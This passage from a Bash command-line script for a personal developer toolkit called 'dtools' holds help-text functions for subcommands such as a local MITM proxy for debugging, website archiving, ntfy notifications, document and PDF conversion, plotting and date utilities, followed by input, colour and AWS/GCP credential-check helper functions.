"$(magenta "--proxy-target-host PROXY_TARGET_HOST (required)")" printf " The target host to redirect all traffic to\n" echo printf " %s\n" "$(magenta "--proxy-target-protocol PROXY_TARGET_PROTOCOL")" printf " The protocol on the host that all traffic is redirected to\n" printf " %s\n" "Allowed: http, https" printf " %s\n" "Default: http" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Query with curl 'http://localhost:8081/api/Token', for example\n dtools network proxy-with-nginx --tcp-port 8081 --proxy-target-host\n some.api.com --proxy-target-protocol https\n" echo fi } dtools_network_mitm_proxy_usage() { printf "dtools network mitm-proxy - Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network mitm-proxy DOMAIN [OPTIONS]\n" printf " dtools network mitm-proxy --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--port PORT")" printf " The local port to run the proxy on\n" printf " %s\n" "Default: 8080" echo printf " %s\n" "$(magenta "--script-file SCRIPT_FILE")" printf " The script file to run on all intercepted requests (defaults to simply\n logging out method, url, headers, and body)\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "DOMAIN")" printf " The domain to intercept requests for (regex)\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Run the proxy on port 8080 for all *google*.com domains\n dtools network mitm-proxy .*google.*\.com\n # Run a script/service/etc. that will be proxied by MITM proxy\n export HTTP_PROXY=http://localhost:8080\n export HTTPS_PROXY=https://localhost:8080\n export REQUESTS_CA_BUNDLE=~/.mitmproxy/mitmproxy-ca-cert.pem\n python3 vertex_model_deployment_script.py\n" echo fi } dtools_network_archive_website_usage() { printf "dtools network archive-website - Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network archive-website [OPTIONS]\n" printf " dtools network archive-website --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" printf " The size of /dev/shm to allow the container to use\n" printf " %s\n" "Default: 2gb" echo printf " %s\n" "$(magenta "--url URL (required)")" printf " The URL to be crawled\n" echo printf " %s\n" "$(magenta "--name NAME (required)")" printf " The name of the ZIM file\n" echo printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" printf "\n" printf " %s\n" "Default: /output" echo printf " %s\n" "$(magenta "--limit LIMIT")" printf " Limit capture to at most URLs\n" echo printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" printf " %s\n" "Default: autoplay,autofetch,siteSpecific" echo printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" printf " Skip URLs that mmatch the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" echo printf " %s\n" "$(magenta "--workers WORKERS")" printf " Number of crawl workers to run in parallel\n" echo printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" printf " %s\n" "Default: load" echo printf " %s\n" "$(magenta "--keep")" printf " If set, keep the WARC files in a temp directory inside the output directory\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools network archive-website --url URL --name myzimfile\n" printf " # Exclude all video files\n dtools network archive-website --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" printf " dtools network archive-website --shm-size 2gb --url\n 'https://www.niaid.nih.gov' --name niaid-backup --exclude\n '.*\.(mp4|webm|ogg|mov|avi|mkv|mpeg|tar|gz|zip|rar)(\?.*)?$' --workers 16\n --wait-until domcontentloaded --behaviors\n 'autoplay,autofetch,siteSpecific,autoscroll'\n" printf " # Serve the website locally on port 9090\n kiwix-serve --port 9090 myzimfile.zim\n" echo fi } dtools_network_warc_2_zim_usage() { printf "dtools network warc-2-zim - Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network warc-2-zim [OPTIONS]\n" printf " dtools network warc-2-zim --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" printf " The size of /dev/shm to allow the container to use\n" printf " %s\n" "Default: 2gb" echo printf " %s\n" "$(magenta "--url URL (required)")" printf " The URL to be crawled\n" echo printf " %s\n" "$(magenta "--name NAME (required)")" printf " The name of the ZIM file\n" echo printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" printf "\n" printf " %s\n" "Default: /output" echo printf " %s\n" "$(magenta "--limit LIMIT")" printf " Limit capture to at most URLs\n" echo printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" printf " %s\n" "Default: autoplay,autofetch,siteSpecific" echo printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" printf " Skip URLs that match the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" echo printf " %s\n" "$(magenta "--workers WORKERS")" printf " Number of crawl workers to run in parallel\n" echo printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" printf " %s\n" "Default: load" echo printf " %s\n" "$(magenta "--keep")" printf " If set, keep the WARC files in a temp directory inside the output directory\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools network warc-2-zim --url URL --name myzimfile\n" printf " # Exclude all video files\n dtools network warc-2-zim --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" echo fi } dtools_network_mermaid_api_usage() { printf "dtools network mermaid-api - Start a local API to generate Mermaid diagrams\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network mermaid-api [PORT]\n" printf " dtools network mermaid-api --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PORT")" printf " The port to run the API on\n" printf " %s\n" "Default: 8087" echo printf "%s\n" "$(bold "Examples:")" printf " curl --location --request POST 'http://localhost:8087/generate' \\n --header 'Content-Type: text/plain' \\n --data-raw 'graph LR\n \n A-->B\n B-->C\n C-->D\n C-->F\n '\n" echo fi } dtools_ntfy_usage() { printf "dtools ntfy - ntfy commands for easy reference\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ntfy COMMAND\n" printf " dtools ntfy [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n" "$(green "subscribe")" printf " %s Open the ntfy message publishing reference page in your default browser\n" "$(green "reference")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ntfy_subscribe_usage() { printf "dtools ntfy subscribe - Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ntfy subscribe [TOPIC] [OPTIONS]\n" printf " dtools ntfy subscribe --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--sound, -s SOUND")" printf " The mp3 sound file to play when a message is received\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "TOPIC")" printf " The name of the ntfy topic to subscribe to\n" printf " %s\n" "Default: alerts" echo printf "%s\n" "$(bold "Examples:")" printf " dtools ntfy subscribe vpn --sound ~/Music/notification-sounds/notify.mp3\n" printf " ntfy sub topic 'echo \"$raw\" && mpg321 -q\n ~/Music/notification-sounds/notify.mp3'\n" echo fi } dtools_ntfy_reference_usage() { printf "dtools ntfy reference - Open the ntfy message publishing reference page in your default browser\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ntfy reference\n" printf " dtools ntfy reference --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_document_usage() { printf "dtools document - Commands for manipulating documents\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools document COMMAND\n" printf " dtools document [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Convert any given document into any other supported format using pandoc\n" "$(green "convert") " printf " %s Merge a list of PDFs into a single PDF file\n" "$(green "merge-pdf") " printf " %s Decrypt a PDF so it can be manipulated via CLI tools\n" "$(green "decrypt-pdf")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_document_convert_usage() { printf "dtools document convert - Convert any given document into any other supported format using pandoc\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools document convert FILE [OPTIONS]\n" printf " dtools document convert --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--source-format SOURCE_FORMAT (required)")" printf " The format of the source file\n" printf " %s\n" "Allowed: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" echo printf " %s\n" "$(magenta "--target-format TARGET_FORMAT (required)")" printf " The target format of the output file\n" printf " %s\n" "Allowed: ansi, asciidoc, asciidoc_legacy, asciidoctor, beamer, bibtex, biblatex, chunkedhtml, commonmark, commonmark_x, context, csljson, djot, docbook, docbook5, docx, dokuwiki, epub, epub2, fb2, gfm, haddock, html, html4, icml, ipynb, jats_archiving, jats_articleauthoring, jats_publishing, jats, jira, json, latex, man, markdown, markdown_mmd, markdown_phpextra, markdown_strict, markua, mediawiki, ms, muse, native, odt, opml, opendocument, org, pdf, plain, pptx, rst, rtf, texinfo, textile, slideous, slidy, dzslides, revealjs, s5, tei, typst, xwiki, zimwiki" echo printf " %s\n" "$(magenta "--output-file OUTPUT_FILE")" printf " The output file with the extension (defaults to\n /.$)\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "FILE")" printf " The file to convert\n" echo fi } dtools_document_merge_pdf_usage() { printf "dtools document merge-pdf - Merge a list of PDFs into a single PDF file\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools document merge-pdf OUTPUT-FILE [OPTIONS]\n" printf " dtools document merge-pdf --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--input-file, -i INPUT_FILE (repeatable)")" printf " An input file to merge into a single PDF\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "OUTPUT-FILE")" printf " The name of the output PDF file name\n" echo fi } dtools_document_decrypt_pdf_usage() { printf "dtools document decrypt-pdf - Decrypt a PDF so it can be manipulated via CLI tools\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools document decrypt-pdf INPUT-FILE [OPTIONS]\n" printf " dtools document decrypt-pdf --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " The name of the output decrypted PDF file\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "INPUT-FILE")" printf " The PDF you wish to decrypt\n" echo fi } dtools_git_usage() { printf "dtools git - Git commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools git COMMAND\n" printf " dtools git [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Search all previous tracked files for a given string to see all changes involving the specified string\n" "$(green "search-history")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_git_search_history_usage() { printf "dtools git search-history - Search all previous tracked files for a given string to see all changes involving the specified string\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools git search-history SEARCH-STRING\n" printf " dtools git search-history --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "SEARCH-STRING")" printf " The string to search all git history for\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools git search-history 'energy_required'\n" echo fi } dtools_plot_usage() { printf "dtools plot - Plot data piped into this command (one-off)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools plot [OPTIONS]\n" printf " dtools plot --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--file, -f FILE")" printf " File with data to plot\n" printf " %s\n" "Default: -" echo printf " %s\n" "$(magenta "--type, -t TYPE")" printf " The type of plot to create\n" printf " %s\n" "Allowed: line, bar" printf " %s\n" "Default: line" echo printf " %s\n" "$(magenta "--stack-vertically")" printf " When plotting multiple graphs, stack them vertically instead of combining\n them into one graph (only for bar graphs)\n" echo printf " %s\n" "$(magenta "--multiplot")" printf " Plot multiple graphs at once\n" echo printf " %s\n" "$(magenta "--gui")" printf " Open the plot in a GUI window\n" echo printf " %s\n" "$(magenta "--loki")" printf " Use Loki to generate the plot command instead of using the templated command\n" printf " %s\n" "Conflicts: --file, --type, --stack-vertically, --multiplot, --gui" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " seq 0 10 | dtools plot\n" printf " seq 0 10 > test_data && dtools plot --file test_data\n" echo fi } dtools_real_time_plot_usage() { printf "dtools real-time-plot - Continuously plot data piped into this command (like following a log tail)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools real-time-plot\n" printf " dtools real-time-plot --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " {\n for ((i=0; i<=100; i+=2)); do\n sleep 1\n echo \"$RANDOM\"\n done\n } | dtools real-time-plot\n" echo fi } dtools_date_to_epoch_usage() { printf "dtools date-to-epoch - Convert a given date timestamp into epoch millis\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools date-to-epoch TIMESTAMP\n" printf " dtools date-to-epoch --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "TIMESTAMP")" printf " The date timestamp to convert.\n Specify '-' to use stdout\n" echo fi } dtools_epoch_to_date_usage() { printf "dtools epoch-to-date - Convert a given epoch (in millis) to a date timestamp\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools epoch-to-date EPOCH\n" printf " dtools epoch-to-date --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "EPOCH")" printf " The epoch (in millis) to convert.\n Specify '-' to use stdout\n" echo fi } dtools_date_to_iso_8601_usage() { printf "dtools date-to-iso-8601 - Convert a given date into ISO 8601 format\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools date-to-iso-8601 DATE\n" printf " dtools date-to-iso-8601 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "DATE")" printf " The date to convert.\n Specify '-' to use stdout\n" echo fi } dtools_view_markdown_usage() { printf "dtools view-markdown - View markdown file in a browser with images and links\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools view-markdown FILE\n" printf " dtools view-markdown --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "FILE")" printf " The markdown file to view\n" echo fi } dtools_start_simple_server_usage() { printf "dtools start-simple-server - Starts a simple server using netcat\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools start-simple-server [OPTIONS]\n" printf " dtools start-simple-server --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--port PORT")" printf " The port to run the server on\n" printf " %s\n" "Default: 8000" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_fzf_usage() { printf "dtools fzf - Pipe the output of a command to fzf for interactive selection\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools fzf [COMMAND] [OPTIONS]\n" printf " dtools fzf --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--pre-processing PRE-PROCESSING")" printf " pre-processes the fzf selections before passing them into the target\n 'command'\n" echo printf " %s\n" "$(magenta "--additional-xargs-arguments ADDITIONAL-XARGS-ARGUMENTS")" printf " Additional arguments to pass to xargs\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "COMMAND")" printf " The command to execute when one or more items are selected\n" printf " %s\n" "Default: vi" echo printf "%s\n" "$(bold "Examples:")" printf " # Open selected files in helix\n grep -ri 'test_value' . | dtools fzf\n" printf " # Tail the selected log group\n grep -ri 'test_value' . | dtools fzf 'dtools aws logs tail-log-group'\n" printf " # Tail the selected log groups and run them as separate commands for each\n selected group\n seq 1 10 | dtools fzf --pre-processing 'xargs -0 -I {} echo \"/some/prefix/{}\"'\n --additional-xargs-arguments '-n 1' 'dtools aws logs tail-log-group'\n" echo fi } dtools_backup_usage() { printf "dtools backup - Create a backup of a file or directory. By default, this will create a copy of the specified file or directory in the same source directory.\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools backup ITEM [OPTIONS]\n" printf " dtools backup --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--move")" printf " Instead of copying a file or directory to create a backup, move the\n directory entirely so the original no longer exists\n" echo printf " %s\n" "$(magenta "--backup-dest BACKUP-DEST")" printf " Specify a destination directory for the backed up file or directory to be\n placed in\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "ITEM")" printf " The file or directory to create an in-place backup of.\n" echo fi } dtools_generate_password_usage() { printf "dtools generate-password - Randomly generate a secure password\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools generate-password [OPTIONS]\n" printf " dtools generate-password --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--copy-to-clipboard, -c")" printf " Copy the generated password to your clipboard\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_play_mp3_usage() { printf "dtools play-mp3 - Play a given mp3 sound using the command line. This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools play-mp3 SOUND\n" printf " dtools play-mp3 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "SOUND")" printf " The mp3 sound file to play\n" echo fi } dtools_random_int_usage() { printf "dtools random-int - Generate a random integer in the given range\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools random-int [OPTIONS]\n" printf " dtools random-int --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--min MIN")" printf " The minimum value of the integer range (inclusive)\n" printf " %s\n" "Default: 0" echo printf " %s\n" "$(magenta "--max MAX")" printf " The maximum value of the integer range (inclusive)\n" printf " %s\n" "Default: 10" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_random_float_usage() { printf "dtools random-float - Generate a random float in the given range\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools random-float [OPTIONS]\n" printf " dtools random-float --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--min MIN")" printf " The minimum value of the float range (inclusive)\n" printf " %s\n" "Default: 0" echo printf " %s\n" "$(magenta "--max MAX")" printf " The maximum value of the float range (inclusive)\n" printf " %s\n" "Default: 10" echo printf " %s\n" "$(magenta "--precision PRECISION")" printf " The precision to output the random number with\n" printf " %s\n" "Default: 5" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_record_shell_usage() { printf "dtools record-shell - Record the current shell and create a gif of the session.\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools record-shell OUTPUT_FILE [OPTIONS]\n" printf " dtools record-shell --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--speed SPEED")" printf " The speed multiplier for the gif playback\n" printf " %s\n" "Default: 1" echo printf " %s\n" "$(magenta "--no-conversion")" printf " Do not convert the finished asciinema recording to a gif (keep it as an\n asciinema file)\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "OUTPUT_FILE")" printf " The output gif file to create (do not include '.gif' in the filename)\n" echo fi } normalize_input() { local arg passthru passthru=false while [[ $# -gt 0 ]]; do arg="$1" if [[ $passthru == true ]]; then input+=("$arg") elif [[ $arg =~ ^(--[a-zA-Z0-9_\-]+)=(.+)$ ]]; then input+=("${BASH_REMATCH[1]}") input+=("${BASH_REMATCH[2]}") elif [[ $arg =~ ^(-[a-zA-Z0-9])=(.+)$ ]]; then input+=("${BASH_REMATCH[1]}") input+=("${BASH_REMATCH[2]}") elif [[ "$arg" == "--" ]]; then passthru=true input+=("$arg") else input+=("$arg") fi shift done } enable_auto_colors() { if [[ -z ${NO_COLOR+x} && ! -t 1 ]]; then NO_COLOR=1 fi } print_in_color() { local color="$1" shift if [[ "${NO_COLOR:-}" == "" ]]; then printf "$color%b\e[0m\n" "$*" else printf "%b\n" "$*" fi } red() { print_in_color "\e[31m" "$*"; } green() { print_in_color "\e[32m" "$*"; } yellow() { print_in_color "\e[33m" "$*"; } blue() { print_in_color "\e[34m" "$*"; } magenta() { print_in_color "\e[35m" "$*"; } cyan() { print_in_color "\e[36m" "$*"; } black() { print_in_color "\e[30m" "$*"; } white() { print_in_color "\e[37m" "$*"; } bold() { print_in_color "\e[1m" "$*"; } underlined() { print_in_color "\e[4m" "$*"; } red_bold() { print_in_color "\e[1;31m" "$*"; } green_bold() { print_in_color "\e[1;32m" "$*"; } yellow_bold() { print_in_color "\e[1;33m" "$*"; } blue_bold() { print_in_color "\e[1;34m" "$*"; } magenta_bold() { print_in_color "\e[1;35m" "$*"; } cyan_bold() { print_in_color "\e[1;36m" "$*"; } black_bold() { print_in_color "\e[1;30m" "$*"; } white_bold() { print_in_color "\e[1;37m" "$*"; } red_underlined() { print_in_color "\e[4;31m" "$*"; } green_underlined() { print_in_color "\e[4;32m" "$*"; } yellow_underlined() { print_in_color "\e[4;33m" "$*"; } blue_underlined() { print_in_color "\e[4;34m" "$*"; } magenta_underlined() { print_in_color "\e[4;35m" "$*"; } cyan_underlined() { print_in_color "\e[4;36m" "$*"; } black_underlined() { print_in_color "\e[4;30m" "$*"; } white_underlined() { print_in_color "\e[4;37m" "$*"; } filter_llama_running() { curl -s http://localhost:8080 > /dev/null 2>&1 || red_bold "LLama must be running. You can start it with 'dtools ai start-llama'" } filter_profile_and_region_variables_set_with_flags() { declare aws_profile="${args[--profile]:-$AWS_PROFILE}" declare aws_region="${args[--region]:-$AWS_REGION}" if [[ -z "$aws_profile" ]]; then red_bold "The AWS profile must be set." red_bold "You can specify it using the '--profile' flag." red_bold "\nAlternatively, set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" fi if [[ -z $aws_region ]]; then red_bold "The AWS region must be set." red_bold "You can specify it using the '--region' flag." red_bold "\nAlternatively, set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." fi } filter_profile_and_region_variables_set_generic() { if [[ -z "$AWS_PROFILE" ]]; then red_bold "The AWS profile must be set." red_bold "You can set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" fi if [[ -z $AWS_REGION ]]; then red_bold "The AWS region must be set." red_bold "You can set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." fi } filter_postgres_not_running() { if docker container ls | grep -q 'postgres'; then red_bold "The PostgreSQL container is already running. Try stopping the container and trying again." fi } filter_mysql_not_running() { if docker container ls | grep -q 'mysql'; then red_bold "The MySQL container is already running. Try stopping the container and trying again." fi } filter_project_and_location_variables_set_with_flags() { declare gcp_project="${args[--project]:-$GCP_PROJECT}" declare gcp_location="${args[--location]:-$GCP_LOCATION}" if [[ -z "$gcp_project" ]]; then red_bold "The GCP project must be set." red_bold "You can specify it using the '--project' flag." red_bold "\nAlternatively, set the 'GCP_PROJECT' environment variable via 'dtools gcp project ' and then try again.\n\n" fi if [[ -z $gcp_location ]]; then red_bold "The GCP location must be set." red_bold "You can specify it using the '--location' flag." red_bold "\nAlternatively, set the 'GCP_LOCATION' environment variable via 'dtools gcp location ' and then try again." fi } filter_maven_or_gradle_installed() { if ! (command -v mvn > /dev/null 2>&1 || command -v gradle > /dev/null 2>&1); then red_bold "Maven or Gradle must be installed to run this command." red_bold "Please install Maven or Gradle and try again." fi } filter_debian_based_os() { if grep -qiv '^ID_LIKE=.*debian' /etc/os-release; then red_bold "This command can only be run on debian-based systems." fi } filter_multiplot_requirements() { # shellcheck disable=SC2154 if [[ "${args[--multiplot]}" == 1 ]]; then # shellcheck disable=SC2154 if [[ "${args[--gui]}" != 1 ]]; then red_bold "Multiplot can only be used in GUI mode. Add the '--gui' flag to plot multiple graphs" fi if [[ "${args[--type]}" != "bar" ]]; then red_bold "Multiplot can only be used with bar graphs. Add the '--type bar' flag to enable bar graphs" fi fi } filter_stack_vertically_multiplot_only() { if [[ "${args[--stack-vertically]}" == 1 ]]; then if [[ "${args[--multiplot]}" != 1 ]]; then red_bold "The '--stack-vertically' flag can only be used with multiplot mode. Add the '--multiplot' flag to use '--stack-vertically'." fi fi } filter_linux_image_url_or_dist_is_defined() { # shellcheck disable=SC2154 declare dist="${args[--dist]}" # shellcheck disable=SC2154 declare image_url="${args[--image-url]}" if [[ -z $image_url && -z $dist ]]; then red_bold "One of either '--image-url' or '--dist' is required" fi } close-aws-auth-tab() { sleep 2 zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" wmctrl -a "AWS access portal" xdotool key Ctrl+w wmctrl -a "$zellij_session_id" } validate-or-refresh-aws-auth() { # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" if ! (aws sts get-caller-identity --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then yellow_bold "Detected SSO profile: credentials have expired and need to be refreshed" yellow "Refreshing credentials for ${aws_profile}..." spinny-start if ! (aws sso login --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then spinny-stop red_bold "Unable to log into AWS." else spinny-stop close-aws-auth-tab green "Credentials refreshed for ${aws_profile}" fi fi } get-aws-profile() { echo "${args[--profile]:-$AWS_PROFILE}" } get-aws-region() { echo "${args[--region]:-$AWS_REGION}" } close-gcp-auth-tab() { sleep 3 zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 